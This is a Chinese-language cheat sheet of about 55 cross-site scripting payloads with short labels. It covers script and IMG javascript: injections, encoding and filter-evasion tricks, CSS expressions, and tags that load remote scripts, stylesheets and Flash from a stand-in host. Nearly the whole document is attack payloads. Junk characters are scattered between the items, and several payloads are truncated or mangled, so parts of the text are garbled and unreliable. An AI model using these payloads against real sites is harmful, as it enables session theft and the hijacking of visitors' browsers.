XSS攻击汇总

admin

(1)普通的XSS JavaScript注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(99)另类弹框
<q/oncut=alert()>1
<s/onclick=alert()>b
+ |9 O/ b0 U" `  u2 B1 h8 `% O <XSS=" onclick="alert(1)//">clickme</SSX=">
<zzz onclick=alert`1`>clickme</zzz>
<a onclick=alert`1`>clickme</a>
+ U; f) T, |% I0 z<a=">clickme</a=">
- l) W7 i( u! b4 p<a=">clickme</a>
<z=">clickme</z=">
<z onclick=alert`1`>clickme</z>

(2)IMG标签XSS使用JavaScript命令
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

  B/ \% b& D( C/ ?# ], e  l* x(3)IMG标签无分号无引号
! H% K( ?6 x9 V$ G* r<IMG SRC=javascript:alert(‘XSS’)>
- K# ?1 A' g# I9 w& L6 V6 I9 ?
) B8 j* _3 p( l' B- A& Z% U, e6 c- B(4)IMG标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>

(5)HTML编码(必须有分号)
4 |9 d7 _; y& g* }<IMG SRC=javascript:alert(“XSS”)>

5 Q; ^: m& A1 _1 J, A(6)修正缺陷IMG标签
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>

(7)formCharCode标签(计算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
& B6 h- L- Z# j
(8)UTF-8的Unicode编码(计算器)
<IMG SRC=jav..省略..S')>

(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
  P; h% R, B: T1 @9 ^- o<IMG SRC=jav..省略..S')>
/ X4 x8 _  w3 U5 R, n& j; ]
(10)十六进制编码也是没有分号(计算器)
! A* L5 r. N$ J; t. G<IMG SRC=\'#\'" /span>
) K$ M5 A5 N$ h3 n
(11)嵌入式标签,将Javascript分开
, N& n# `* e5 j, z<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
% `$ r" P, z' {8 G6 {- d
(12)嵌入式编码标签,将Javascript分开
" v& O* J9 x) u3 t6 ]4 d6 L4 d% M6 S<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>

(13)嵌入式换行符
2 i9 x, P' S5 ~* X- Z& P2 O  S0 s8 ]<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>

(14)嵌入式回车
$ Q1 r8 z- h+ M<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>

(15)嵌入式多行注入JavaScript,这是XSS极端的例子
<IMG SRC=\'#\'" /span>
3 f7 q5 Q; i! S) c# B6 L0 r- I+ k, M
4 ^6 |7 M8 N& u7 {2 H1 R  `(16)解决限制字符(要求同页面)
0 a7 g- k9 l9 y# ~- ]<script>z=’document.’</script>
4 `+ F! x% m3 v8 i<script>z=z+’write(“‘</script>
<script>z=z+’<script’</script>
7 a0 [  a7 f0 U: A( S; E/ `<script>z=z+’ src=ht’</script>
<script>z=z+’tp://ww’</script>
1 c$ q. a% q! t9 z<script>z=z+’w.shell’</script>
<script>z=z+’.net/1.’</script>
<script>z=z+’js></sc’</script>
- \; T. ~2 j9 v. P! |: Y<script>z=z+’ript>”)’</script>
<script>eval_r(z)</script>

  i" Q. G* ~4 _. m  y  }9 E8 c7 \(17)空字符
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
9 N: u- O# p$ W1 T' X8 }4 k8 F/ K
3 D: G  B5 N1 q5 H(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out

(19)Spaces和meta前的IMG标签
. h9 O5 P! h- ]4 \/ X! A6 `, Q2 i<IMG SRC=\'#\'"   javascript:alert(‘XSS’);”>

6 M' g& X- X3 [7 ?" A' Y: j. K7 G(20)Non-alpha-non-digit XSS
5 S9 u- P2 ?% E& }* V7 I6 W<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
8 t6 p/ m: L* R( W
+ E* `- Y/ u  k5 Z: j: Q(21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
$ H0 x) ~( i9 i
(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>

- |2 w+ K% N; g, m- X6 v: J5 g(23)双开括号
/ @. }* o; y8 O, S4 n6 r; n$ Q2 g<<SCRIPT>alert(“XSS”);//<</SCRIPT>
: w# \$ V( Q* Z8 N. l
& S  ]6 Z* ?, `8 u(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
/ `( L" q0 L3 _7 E
(25)无结束脚本标记2
<SCRIPT SRC=//3w.org/XSS/xss.js>
' l7 y% T- Y) [
5 P5 e, K- n- _. h(26)半开的HTML/JavaScript XSS
0 t6 v1 v+ y& e- y+ t% ]<IMG SRC=\'#\'" /span>

(27)双开角括号
<iframe src=http://3w.org/XSS.html <

" H; |2 @: o& u# W(28)无单引号 双引号 分号
& M/ p# {$ L# N) t<SCRIPT>a=/XSS/
; s3 ^+ i% o0 |# yalert(a.source)</SCRIPT>
* L% U0 N# Y) m4 @* C6 @5 j
* \7 U3 o9 `' c! M(29)换码过滤的JavaScript
* F. B5 t( [2 \& ]* {\”;alert(‘XSS’);//
0 J# o1 S2 J# r. u
& j( F# [3 x  f3 [(30)结束Title标签
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>

(31)Input Image
<INPUT SRC=\'#\'" /span>
9 N) N2 x, p& ^4 ^. v0 I
, U" l0 P2 Y- f: n( f, s! O3 m* i(32)BODY Image
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>

(33)BODY标签
<BODY(‘XSS’)>
) O- C% J5 ?# g. {9 b
" g0 q2 \4 m1 m; W4 |7 X(34)IMG Dynsrc
<IMG DYNSRC=\'#\'" /span>

! s( i4 Q/ m  Y" {( ?$ Q! z(35)IMG Lowsrc
<IMG LOWSRC=\'#\'" /span>

# G, [* i0 F6 H5 R9 O0 ]* `(36)BGSOUND
5 [8 u0 |' Z5 I; E# j, l( w7 R<BGSOUND SRC=\'#\'" /span>

(37)STYLE sheet
* [, A" O& X1 m<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
  M$ h& _. G2 N. A: X
(38)远程样式表
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>

1 ?0 ^% X, J# S, e1 I/ f(39)List-style-image(列表式)
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS

! J, X3 L2 w+ @+ {( ^. z* X(40)IMG VBscript
* ~. `- u9 k1 S! p$ ]: L<IMG SRC=\'#\'" /STYLE><UL><LI>XSS
' U" h4 K* T/ H) D$ f5 V
(41)META链接url
, n) [4 ^0 J- I% \: d- `<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>

(42)Iframe
<IFRAME SRC=\'#\'" /IFRAME>
# F+ ]9 b, C5 i* o) p$ O
: }, ~  @8 @" ?. R# y. y(43)Frame
8 P" J8 z9 `. `+ V% a. Y4 h  I8 J. }<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>
% x6 t% e0 V+ s- H
(44)Table
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
+ a2 t2 x8 X0 e6 e
% C$ q9 t* e8 ]6 [5 Y(45)TD
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
1 q7 Q8 F4 Q/ k8 g
/ l" Q6 [% e& `$ R9 }! B1 @9 p(46)DIV background-image
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>

$ X% Q- O! x) a) e2 _' d(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
<DIV STYLE=”background-image: url(
javascript:alert(‘XSS’))”>

(48)DIV expression
" R* M/ G* v  Y8 t! f2 ~) }<DIV STYLE=”width: expression_r(alert(‘XSS’));”>

3 q& d1 P3 p2 n1 ~(49)STYLE属性分拆表达
7 L/ x2 Z  R5 a$ B7 N5 k: [- d5 m<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>

(50)匿名STYLE(组成:开角号和一个字母开头)
$ z% _7 I8 [! j% N7 @. A7 o<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
0 }1 X5 v+ X* Z# U. g) J
4 k8 F) a0 K0 a7 O9 g(51)STYLE background-image
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
* {+ S  d) ^# g6 _6 ~5 t
# Z& m1 C* Z0 c( J4 E& K(52)IMG STYLE方式
$ H8 O4 p. x  a2 Jexppression(alert(“XSS”))’>

(53)STYLE background
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
4 }  }1 q5 o! I+ [6 Z9 }% c7 B6 S
8 Q8 q8 s3 d8 ]: b(54)BASE
<BASE HREF=”javascript:alert(‘XSS’);//”>
. S; Y+ L9 d% F
1 c$ V( A1 D* `5 R(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>
) T/ p. Z; @* t- G5 ]% b